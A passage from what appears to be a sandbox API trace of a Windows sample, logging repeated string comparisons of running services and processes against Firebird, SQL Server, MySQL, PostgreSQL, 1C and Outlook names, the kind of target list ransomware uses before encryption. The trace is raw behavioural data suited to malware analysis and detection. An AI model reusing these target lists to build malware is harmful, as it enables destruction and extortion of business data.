lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0131.619] CloseServiceHandle (hSCObject=0x4293bc8) returned 1 [0131.621] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0131.621] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0131.621] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0131.621] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0131.621] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0131.621] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0131.621] lstrlenW (lpString="AudioSrv") returned 8 [0131.621] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0131.621] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0131.621] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0131.621] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0131.621] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0131.621] lstrlenW (lpString="BFE") returned 3 [0131.621] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0131.621] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0131.621] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0131.621] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0131.621] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0131.622] lstrlenW (lpString="CscService") returned 10 [0131.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0131.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0131.622] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0131.622] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0131.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0131.622] lstrlenW (lpString="DcomLaunch") returned 10 [0131.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0131.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0131.622] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0131.622] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0131.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0131.622] lstrlenW (lpString="Dhcp") returned 4 [0131.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0131.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0131.622] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0131.622] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0131.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0131.622] lstrlenW (lpString="Dnscache") returned 8 [0131.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0131.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0131.622] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0131.622] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0131.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0131.622] lstrlenW (lpString="eventlog") returned 8 [0131.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0131.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0131.622] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0131.622] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0131.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0131.622] lstrlenW (lpString="EventSystem") returned 11 [0131.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0131.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0131.623] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0131.623] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0131.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0131.623] lstrlenW (lpString="gpsvc") returned 5 [0131.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0131.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0131.623] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0131.623] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0131.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0131.623] lstrlenW (lpString="lmhosts") returned 7 [0131.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0131.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0131.623] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0131.623] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0131.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0131.623] lstrlenW (lpString="MMCSS") returned 5 [0131.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0131.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0131.623] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0131.623] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0131.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0131.623] lstrlenW (lpString="MpsSvc") returned 6 [0131.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0131.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0131.623] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0131.623] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0131.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0131.624] lstrlenW (lpString="nsi") returned 3 [0131.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0131.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0131.624] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0131.624] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0131.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0131.624] lstrlenW (lpString="PlugPlay") returned 8 [0131.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0131.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0131.624] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0131.624] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0131.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0131.624] lstrlenW (lpString="Power") returned 5 [0131.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0131.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0131.624] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0131.624] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0131.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0131.624] lstrlenW (lpString="ProfSvc") returned 7 [0131.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0131.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0131.624] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0131.624] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0131.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0131.624] lstrlenW (lpString="RpcEptMapper") returned 12 [0131.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0131.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0131.624] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0131.624] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0131.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0131.624] lstrlenW (lpString="RpcSs") returned 5 [0131.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0131.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0131.625] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0131.625] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0131.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0131.625] lstrlenW (lpString="SamSs") returned 5 [0131.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0131.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0131.625] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0131.625] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0131.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0131.625] lstrlenW (lpString="Schedule") returned 8 [0131.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0131.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0131.625] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0131.625] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0131.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0131.625] lstrlenW (lpString="SENS") returned 4 [0131.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0131.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0131.625] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0131.625] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0131.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0131.625] lstrlenW (lpString="ShellHWDetection") returned 16 [0131.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0131.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0131.625] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0131.625] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0131.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0131.625] lstrlenW (lpString="Spooler") returned 7 [0131.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0131.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0131.625] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0131.625] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0131.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0131.626] lstrlenW (lpString="Themes") returned 6 [0131.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0131.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0131.626] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0131.626] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0131.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0131.626] lstrlenW (lpString="UxSms") returned 5 [0131.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0131.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0131.626] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0131.626] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0131.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0131.626] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x4287348 | out: hHeap=0x880000) returned 1 [0131.626] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x328 [0131.628] Process32FirstW (in: hSnapshot=0x328, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0131.629] Process32NextW (in: hSnapshot=0x328, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0131.629] lstrlenW (lpString="System") returned 6 [0131.629] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0131.629] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0131.629] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0131.629] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0131.629] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0131.629] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0131.629] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0131.629] Process32NextW (in: hSnapshot=0x328, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0131.630] lstrlenW (lpString="smss.exe") returned 8 [0131.630] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0131.630] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0131.630] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0131.630] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0131.630] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0131.630] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0131.630] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0131.630] Process32NextW (in: hSnapshot=0x328, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0131.630] lstrlenW (lpString="csrss.exe") returned 9 [0131.630] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0131.630] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0131.630] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0131.630] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0131.630] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0131.630] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0131.630] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0131.630] Process32NextW (in: hSnapshot=0x328, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0131.631] lstrlenW (lpString="wininit.exe") returned 11 [0131.631] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0131.631] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0131.631] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0131.631] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0131.631] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0131.631] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0131.631] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0131.631] Process32NextW (in: hSnapshot=0x328, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0131.631] lstrlenW (lpString="csrss.exe") returned 9 [0131.631] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0131.631] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0131.631] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0131.631] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0131.631] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0131.631] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0131.631] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0131.631] Process32NextW (in: hSnapshot=0x328, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0131.632] lstrlenW (lpString="winlogon.exe") returned 12 [0131.632] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0131.632] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0131.632] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0131.632] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0131.632] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0131.632] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0131.632] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0131.632] Process32NextW (in: hSnapshot=0x328, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0131.632] lstrlenW (lpString="services.exe") returned 12 [0131.632] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0131.632] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0131.632] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0131.632] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0131.632] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0131.632] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0131.632] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0131.632] Process32NextW (in: hSnapshot=0x328, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0131.633] lstrlenW (lpString="lsass.exe") returned 9 [0131.633] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0131.633] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0131.633] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0131.633] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0131.633] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0131.633] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0131.633] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0131.633] Process32NextW (in: hSnapshot=0x328, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0131.633] lstrlenW (lpString="lsm.exe") returned 7 [0131.633] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0131.633] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0131.633] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0131.633] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0131.633] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0131.633] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0131.633] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0131.634] Process32NextW (in: hSnapshot=0x328, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0131.634] lstrlenW (lpString="svchost.exe") returned 11 [0131.634] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0131.634] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0131.634] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0131.634] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0131.634] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0131.634] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0131.634] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0131.634] Process32NextW (in: hSnapshot=0x328, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0131.634] lstrlenW (lpString="svchost.exe") returned 11 [0131.634] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0131.635] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0131.635] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0131.635] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0131.635] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0131.635] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0131.635] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0131.635] Process32NextW (in: hSnapshot=0x328, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0131.635] lstrlenW (lpString="svchost.exe") returned 11 [0131.635] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0131.635] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0131.635] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0131.635] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0131.635] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0131.635] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0131.635] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0131.635] Process32NextW (in: hSnapshot=0x328, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0131.636] lstrlenW (lpString="svchost.exe") returned 11 [0131.636] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0131.636] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0131.636] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0131.636] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0131.636] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0131.636] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0131.636] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0131.636] Process32NextW (in: hSnapshot=0x328, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0131.636] lstrlenW (lpString="svchost.exe") returned 11 [0131.636] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0131.636] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0131.636] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0131.636] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0131.637] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0131.637] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0131.637] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0131.637] Process32NextW (in: hSnapshot=0x328, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0131.637] lstrlenW (lpString="audiodg.exe") returned 11 [0131.637] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1 [0131.637] lstrcmpiW (lpString1="1cv77.exe", lpString2="audiodg.exe") returned -1 [0131.637] lstrcmpiW (lpString1="outlook.exe", lpString2="audiodg.exe") returned 1 [0131.637] lstrcmpiW (lpString1="postgres.exe", lpString2="audiodg.exe") returned 1 [0131.637] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="audiodg.exe") returned 1 [0131.637] lstrcmpiW (lpString1="mysqld.exe", lpString2="audiodg.exe") returned 1 [0131.637] lstrcmpiW (lpString1="sqlservr.exe", lpString2="audiodg.exe") returned 1 [0131.637] 